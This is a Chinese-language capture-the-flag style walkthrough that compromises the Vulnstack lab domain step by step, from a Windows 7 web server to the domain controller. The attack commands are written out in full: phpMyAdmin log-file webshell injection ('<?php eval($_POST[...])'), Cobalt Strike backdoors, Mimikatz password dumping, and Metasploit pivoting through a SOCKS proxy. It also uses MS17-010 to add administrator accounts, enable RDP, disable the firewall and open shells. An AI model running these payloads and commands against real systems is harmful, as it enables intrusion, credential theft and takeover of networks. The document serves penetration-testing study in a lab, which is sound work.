靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

01.靶场环境

攻击机:kali(192.168.232.130)

靶机:windows7(外网:192.168.232.155,内网:192.168.52.143)

          Windows2008(内网:192.168.52.138)

          Win2003(内网:192.168.52.141)

拓扑图如下:

 

 

 

 

02.外网拿权限

已知目标靶机ip:192.168.232.155(win7)

方法一:弱口令登录phpmyadmin拿权限

(1)信息收集

nmap -A -T4 192.168.232.0/24 简单扫描一下,发现win7的80,3306端口开启

 

使用御剑扫描该网址后台

 

 发现有一个phpmyadmin后台网址,直接暴力破解

 

爆破成功,存在弱口令,用户名:root,密码:root

 

phpMyAdmin 利用日志文件 getshell

在变量中搜索general,查看日志状态,返回结果如下

当开启general log为on时,所执行的sql语句都会出现在stu1.log文件中。那么,如果修改generallogfile的值,那么所执行的sql语句就会对应生成对应的文件中,进而getshell。所以为了get shell,我们将general log设为on,将general log file设为C:/phpStudy/WWW/test.php

通过执行查询语句将一句话木马插入到重新定义的日志文件test.php中

SELECT '<?php eval($_POST["cmd"]);?>'

看一下靶机上的test.php,一句话木马是否插入成功

插入成功后我们用蚁剑连接test.php

添加数据  http:192.168.232.155/test.php

密码:cmd

成功获取目标服务器权限...

方法二:利用已知cms漏洞getshell

进入管理后台

显而易见,目标靶机使用了yxcms,通过百度可以查询到yxcms的目录结构,得到yxcms的后台路径:/index.php?r=admin/index/login访问http://192.168.232.155/yxcms//index.php?r=admin/index/login

使用yxcms默认用户名密码,admin/123456登录后台,直接登录成功,接入管理后台页面

写入webshell

在前台模板功能中我们可以直接写入一句话木马

 

 

 Burpsuite抓包后,并没有发现写入文件后返回具体文件路径

不过yxcms泄露了robots.txt,通过御剑

 

通过泄露的文件路径,一步一步推测找出我们上传的shell_test.php一句话木马

 

 

蚁剑连接shell_test.php

 

 

写入成功...

03.靶机后门上线

拿下服务器权限后就要植入后门,植入后门的方法大致有两种——MSF和Cobalts Strike。这里演示Cobalts Strike的方式。

生成exe可执行后门

 

执行exe后门

利用蚁剑将exe后门上传到靶机

 

在蚁剑中使用终端命令行执行exe后门

 

Cobalts Strike中靶机上线

 

探测本机信息  (win7)

1.执行系统命令

 

2.探测域信息(net view)

 

3.Mimikatz抓取本机密码

 

成功抓取本机Administrator用户开机密码

利用cablots strike提权

提权到SYSTEM系统权限账户

 

04.内网信息收集

内网信息收集的主要目的就是查找域控以及域内的其他主机

判断是否存在域

使用 ipconfig /all 查看 DNS 服务器:

 

 

发现 DNS 服务器名为 god.org,查看域信息:net view

Cablot Strike自带的net view更好用,可以直接识别IP地址

 

查看主域信息:net view /domain

查看时间服务器:net time /domain(一般情况下,时间服务器就是域控)

发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域;若是报错:发生系统错误 5,则存在域,但该用户不是域用户,可以进行提权到SYSTEM后执行),所以基本可以确定owa.god.org就是域GOD的域控

确认域控

利用 net group "domain controllers" /domain 命令直接找出域控制器:

域控制器为owa.god.org

对应IP192.168.52.138

 

05.内网横向移动

SMB Beacon

因为内网的目标机器192.168.52.138192.168.52.141无法直接连接到KALI192.168.232.130),所以需要CS派生smb beacon,让内网的主机连接到win7上。

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

新建一个listener

 

在已有的 Beacon上右键 Spawn(生成会话 / 派生),选择创建的 smb beacon  listerner:

 

cobalt strike反弹shell给msf

反弹shell

配置msf进行监听

 

cobalt strike中新建listeners(注意:cobalt strike中生成的payload要和msf中监听使用的payload一致)

 

选择to_msf监听,成功反弹shell

 

配置静态路由

meterpreter > run get_local_subnets   #查看网段/子网

meterpreter > run autoroute -s 192.168.52.0/24   #添加路由

meterpreter > run autoroute -p  #查看路由

meterpreter > background   #转入后台运行

 

msf进行内网扫描

1.使用msf自带netbios扫描内存活机器,发现存活机器两台,地址分别为192.168.52.141和192.168.52.138

auxiliary(scanner/netbios/nbname) 这个使用报错,换了另一个扫描存活主机的辅助模块)

auxiliary/scanner/discovery/arp_sweep

 

2.对存活主机进行端口扫描

TCP端口扫描 auxiliary/scanner/portscan/xmas

msf6 > use auxiliary/scanner/portscan/xmas

msf6 > set rhosts xxx.xxx.xxx

msf6 > set ports 80,135-139,3306,3389

msf6 > run

192.168.52.138进行端口扫描,发现445端口开启

 

(加载kiwi的bug)

在拿到win7meterpreter后,使用kiwi模块,发现creds_一系列的功能不能使用,没有加载相应的东西

 

问题:

1:需要system权限

2kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。

需要进程迁移

 

问题解决(

kiwi_cmd

kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令

kiwi_cmd sekurlsa::logonpasswords

 

内网信息收集

run post/windows/gather/enum_applications查看win7上安装了哪些软件;

 

arp -a查看路由表,可以看到另一个网段192.168.52.0/24,还有另外两台主机

 

这里我只开启了2008138)的虚拟机

run autoroute -s 192.168.52.0/24添加录路由;
run autoroute -p查看路由;

之前添加过了,省略

设置代理,方便访问内网服务;

use auxiliary/server/socks4a

set srvhost 192.168.232.130

set srvport 1080

Run

 

然后修改vim /etc/proxychains4.conf的最后一行为socks4 192.168.232.130 1080

 

Proxychains4 curl http://192.168.52.143/试一试能否访问内网IPyes

 

能成功访问,接下来扫一下另外两台主机开启了哪些端口,使用auxiliary/scanner/portscan/tcp模块

use auxiliary/scanner/portscan/tcp

set rhosts 192.168.52.138

set threads 100

Run

 

其实前面扫出了win7上安装了nmap,用直接用nmap扫我觉得还比较快;

我这里用kali走代理扫描内网

报错,Google,发现解决方法,proxychains不要启用DNS代理:

proxy_dns注释

 

可以看到两台主机都开了135445端口,说明都有SMB服务;(只演示了一台)

 

也可以在kali上远程连接靶机,来进行nmap扫描

 

 

拿下域成员

使用auxiliary/scanner/smb/smb_version扫描系统版本,是Windows2003版本;

use auxiliary/scanner/smb/smb_version

set rhosts 192.168.52.141

run

 

存在永恒之蓝漏洞

exploit/windows/smb/ms17_010_eternalblue打不了,但是可以使用

 

 

auxiliary/admin/smb/ms17_010_command模块执行命令;

use auxiliary/admin/smb/ms17_010_command

set rhosts 192.168.52.141

set command whoami

Run

 

set command net user blckder02 8888! /add添加用户;
set command net localgroup administrators blckder02 /add添加管理员权限;
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'执行命令开启3389端口,这里要么用单引号把命令引住,要么用反斜杠对反斜杠和引号进行转义,否则会出错;

proxychains rdesktop 192.168.52.141远程桌面连接成功,可以用添加的用户进行登录;

 

使用exploit/windows/smb/ms17_010_psexec模块反弹一个shell

use exploit/windows/smb/ms17_010_psexec

set payload windows/meterpreter/bind_tcp

set rhosts 192.168.52.141

run

(sessions截图在后面)

拿域控

因为192.168.52.138这台主机也同样开了135,445端口,所以同样使用auxiliary/scanner/smb/smb_version扫描系统版本,是Windows server 2008版本;

接下来和拿2003主机一样的操作,依然可以用auxiliary/admin/smb/ms17_010_command模块执行命令;

开启3389端口:set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f';
但是连接超时,可能是因为开启了防火墙,执行命令set command netsh firewall set opmode mode=disable关闭防火墙;

可以添加权限,用户等(同上域成员)

 

这个可以用ms17_010_eternalblue打 (但这里继续用ms17_010_psexec)

使用exploit/windows/smb/ms17_010_psexec模块反弹一个shell

use exploit/windows/smb/ms17_010_psexec

set payload windows/meterpreter/bind_tcp

set rhosts 192.168.52.138

run

 

成功拿下域控机

 

思路总结

web服务器寻找可以getshell的利用点,win7上有phpmyadmin目录,并且是默认密码可以登录;
利用日志文件写入一句话,蚁剑连接,收集有用信息;
msf反弹shell,提权,抓取密码,arp发现内网;
添加路由,设置代理,访问内网资源;
扫描开放端口,利用445端口SMB服务,ms17_010对域成员和域控主机进行攻击;
关闭防火墙,开启3389,反弹shell